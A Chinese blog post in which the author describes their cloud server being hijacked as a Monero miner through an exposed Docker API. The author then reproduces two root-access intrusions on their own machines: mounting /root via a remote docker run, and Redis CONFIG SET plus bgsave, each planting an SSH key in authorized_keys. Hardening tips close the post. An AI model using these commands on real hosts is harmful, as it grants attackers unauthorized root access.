前言
前兩天剛買了個騰訊服務器(CVM),這次登陸上去的時候特別卡,通過top發現負載特別高,因為是剛搭建的環境,也沒有運行什么應用程序,所以我覺得這有點不正常。
我就想着把docker、mysql的后台服務停了,然后再觀察一下負載能不能降下來,結果我發現常用的命令都無法使用了。
后來發現是docker遠程服務入侵,所以就利用docker遠程服務和redis服務,模擬入侵了一次自己的服務器。
問題還原
又是平平淡淡似往常的一天,當我使用systemctl命令想停掉后台服務的時候,才發現我居然沒有執行權限。
之前從沒遇到過這種情況,在我的認知里,root就是最高的存在。
先求助了一波客服,客服說是被入侵了,讓我重裝系統。在重裝前,又求助了我親愛的大學舍友,一安全大佬:馮胖,不!是馮佬。
問題分析
我:馮啊,我這個systemctl不能用了,咋回事啊?
馮:我上去給你看看也。
A few moments later....
馮:你這個2375端口是啥服務,有沒有開啟遠程服務之類的。。。
我:這,這不是我前兩天剛開的docker遠程服務么。。。
馮:那就對了,通過docker遠程服務器入侵了你的服務器,然后再利用masscan掃描其他服務器的docker遠程服務服務,然后進行入侵。你這是被遠程入侵當做礦機了,具體信息去/usr/share目錄看看就知道了
接着我去這個目錄看了一下。
打開config_background.json文件看了一下,果不其然,monero:門羅幣。
我:他是怎么登錄我的服務器呢?
馮:你忘了docker可以掛載主機目錄么,掛載.ssh目錄,然后把他的主機公鑰直接放到authorized_keys中,不就可以免密登錄了嗎!
恍然大悟!!!我去看了看,果然多了一個puppet的公鑰,
同時,home下也多了一個用戶目錄。
我:最后一個問題,我用root用戶,為什么很多命令都無法執行?
馮:先用chmod將命令修改為讀寫狀態,這樣就無法執行了。再用chattr將命令屬性修改為只讀,這樣chmod就無法修改此命令權限了。
我:那我去查查資料....
查完資料后,我操作試了試。
如圖,這里拿ls舉例。根據421規則,1代表執行權限,我先將ls權限修改為666,即只有讀寫權限,沒有執行權限。其中lsattr用來查看文件屬性,chattr修改文件屬性,也可以理解為比chmod管理更底層的文件權限的一個命令。
chattr +i就是讓ls只有只讀屬性,從圖中可以看出這時候ls就已經無法執行,使用lsattr也看到ls多了個i屬性,這時候我打算用chmod將其修改為755,即可執行狀態,這時候卻提示沒有權限。
接着我使用chattr -i去掉ls只讀屬性,就可以使用chmod將其修改為755可執行狀態了,如圖,ls正常執行。
我:可是為什么我連chattr命令都沒有執行權限?
馮:......
我:大哥!!!
馮:復制一個chattr,起個別名,然后用新的命令將chattr也修改成只讀,然后刪除命令的不就行了
我:不愧是我馮...
馮:周末去哪吃
我:.....
ssh公鑰注入實現提權
通過查閱一些資料,原理就是通過一些服務端口,將自己主機的公鑰寫入到靶機,實現免密登錄,獲取靶機root用戶權限。
關於ssh公鑰之前也講過。就是將A主機的公鑰,拷貝到B主機~/.ssh目錄下的authorized_keys文件中,即可建立互信實現免密登錄,即A主機登錄B主機將不需要輸入密碼。
而入侵者通過docker遠程服務和redis的快照功能,將某台主機的公鑰寫入到authorized_keys,而免密登錄目標主機,獲取root權限的行為,就是ssh公鑰提權。
之前只聽過sql注入、DDoS攻擊。對於這種可以直接登錄服務器進行操作的還是第一次遇見,所以我就拿自己的服務器實驗一下,反正一會兒都要重裝系統了。
這里准備了兩台服務器,A主機用來運行docker的遠程服務和redis服務,B主機用來遠程連接。
docker遠程服務入侵
其原理是利用docker的遠程服務,可以遠程在靶機上起一個docker容器,並將靶機.ssh目錄掛載到容器中,然后進入docker的bash,直接將公鑰寫入到authorized_keys中。
開啟遠程端口
默認端口是2375,為了防止被其他機器掃到,所以這里先修改成6666。
遠程連接docker
登錄B主機並執行下面命令,即可查看遠程主機運行了哪些容器。
docker -H tcp://47.102.xxx.xxx:6666 ps -a
平時我們都是使用docker ps來查看本機運行的容器,這里使用-H,指定A主機的IP和端口,即可以查看遠程主機的。
接着我們看看這台主機上有什么鏡像:
遠程運行容器
在B主機上執行以下命令,即可在B主機上遠程使用A主機上的鏡像,在A主機上運行一個容器。
# 掛載/etc/ssh目錄是為了修改sshd_config中PermitRootLogin為yes,允許root登錄
# 默認是允許root登錄的,所以沒對/etc/ssh/sshd_config進行修改
docker -H tcp://47.102.xxx.xxx:6666 run -it -v /root:/tmp/root -v /etc/ssh:/tmp/ect/ssh centos bash
通過-v將/root/.ssh目錄掛載到容器中的/tmp/root目錄下,那么在容器中就可以直接修改A主機上的authorized_keys,這里我只要將B主機的公鑰添加進去,B主機就可以免密登錄A主機了。
如圖,創建並運行了一個容器后,直接通過bash進入了容器。
寫入公鑰,實現入侵登陸
在容器中,查看authorized_keys文件的內容。
如圖,目前authorized_keys只有一個公鑰,我們通過vi將B主機的公鑰添加進去,wq保存退出。
接着測試一下是否可以免密登錄。
如圖,B主機到A主機成功免密登錄。
redis動態配置入侵
其原理是利用redis的RDB快照備份和命名行config命令動態修改配置功能,將RDB的保存目錄修改成.ssh,文件名修改成authorized_keys。然后將公鑰作為value寫入redis,並使用bgsave命令開始備份,則將公鑰成功寫入到authorized_keys,實現免密登錄。
前提條件
- 使用root用戶運行的redis
- 沒有設置密碼
- 使用默認的6379端口
- 允許遠程IP訪問,即注釋掉bind配置以及將protected mode修改為no
- 沒有禁止動態修改配置功能
啟動redis
這里在A主機啟動了redis服務,允許遠程訪問,並將端口修改為6666.
./redis-server ../conf/redis.conf
遠程連接redis
登錄B主機,遠程連接A主機的redis服務。
./redis-cli -h 47.102.xxx.xxx -p 6666
寫入公鑰,實現入侵登陸
如圖,先拷貝B主機的公鑰,為了在寫到authorized_keys后公鑰能占單獨一行,所以前后都進行了換行。
然后執行以下命令,通過redis-cli將B主機公鑰寫入redis中。
cat id_das.pub | ./redis-cli -h 47.102.xxx.xxx -p 6666 -x set ssh-key
其中,-h:指定A主機的IP, -p:指定redis的端口,-x:將標准輸入作為后面命令的參數
將公鑰寫入redis之后,再通過動態配置來修改RDB的目錄和文件名。
# 修改存儲目錄
config set dir /root/.ssh
# 修改rbd的文件名
config set dbfilename authorized_keys
# 立即將數據保存到文件中
bgsave
接着到A主機查看公鑰是否已經寫入到authorized_keys中。
如圖,B主機公鑰寫入成功,最后也是成功免密登錄。
這時候可能會有人問,這是啥,authorized_keys中又是問號又是其他字符的,不會影響登陸嗎?
其實,這算是RDB文件的格式,所以為了不影響公鑰,之前我也在公鑰文件中前后都添加了換行,這樣就可以讓公鑰獨占一行,從而不影響免密登錄。
預防措施
docker
- 修改2375默認端口
- 遠程服務添加認證
- 或者直接不開放遠程服務
redis
- 修改6379默認端口
- 使用非root用戶運行redis
- 通過requirepass來設置密碼
- 禁止使用動態配置
# 在redis.conf中添加如下配置
rename-command CONFIG ""
這樣,在命令行就無法使用config命令進行動態配置。
結語
上面通過redis和docker來獲取主機權限的手段,可能真實的場景要更復雜地多,對安全大佬更是不值一提,但是對於我這種安全零基礎的人來說,遇到還是很新奇的,所以通過文章記錄了一下此次經歷,也當做一次頗為有趣的體驗。
95后小程序員,寫的都是日常工作中的親身實踐,置身於初學者的角度從0寫到1,詳細且認真。文章會在公眾號 [入門到放棄之路] 首發,期待你的關注。